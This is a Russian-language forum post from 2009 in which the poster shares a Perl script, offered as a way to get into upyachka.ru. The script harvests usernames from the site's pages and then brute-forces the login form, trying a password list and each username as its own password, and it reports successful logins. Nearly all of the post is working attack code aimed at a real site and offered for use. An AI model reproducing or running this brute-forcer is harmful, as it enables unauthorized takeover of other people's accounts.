13.02.2009, 00:04
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
Провел на форуме:
5111568
Репутация:
2399
|
|
месяц назад многие из "болталки" просили инвайт на upyachka.ru.
вот мой брутер
пароли в pass.txt кладем
perl:
PHP код:
#=============================================================================
#=============================================================================
use IO::Socket;
sub up{#num
$header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: 0\r\n\r\n".
"\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
close($sock);
return $res;
}
sub login{#name,pass
my $post = 'login='.$_[0].'&pass='.$_[1].'&submit=Йаррр!';
my $header = "POST http://upyachka.ru/".$i."/ HTTP/1.1\r\n".
"Host: upyachka.ru\r\n".
"User-Agent: upyachka\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
my $res = '';
my $answer = '';
while($answer = <$sock>){$res .= $answer;}
if ($res =~ /<input name=.login. type=.text. value=..><br>/) {print '-'.cyr($_[0]).':'.cyr($_[1])."\n";} else
{print '+++++++'.cyr($_[0]).':'.cyr($_[1])."\n";}
close($sock);
return $res;
}
my @u;
for ($i=1;$i<15;$i++){
print $i."...\n";
$res = up($i);
while(length($res)>1) {
$b = 0;
$res =~ /<SPAN class=.user.logout. noinfo=.true.>(\W+|\w+)<\/SPAN> написал/;
$res=substr($res,index($res,$1.'</SPAN> нап')+length($1.'</SPAN> нап'),length($res));
foreach my $xx(@u) {if ($xx eq $1) {$b=1;} else {$b=0;}}
@u[scalar(@u)]=$1 if ($b==0);
}
}
print 'getted: '.scalar(@u).' names..'."\n";
print "brute:\n";
##brute
open (FILE, '<pass.txt');
my @pass : shared = <FILE>;
chomp(@pass);
close(FILE);
foreach my $xx(@u) {
foreach my $ps(@pass){
login($xx,$ps);
}
login($xx,$xx);
}
<stdin>;
#=============================================================================
#=============================================================================
#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'upyachka.ru',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}
sub cyr
{
$phrase = shift;
$phrase =~ y/А-яЁё/\x80-\xaf\xe0-\xf1/;
return $phrase;
}
#=============================================================================
#=============================================================================
|
|
|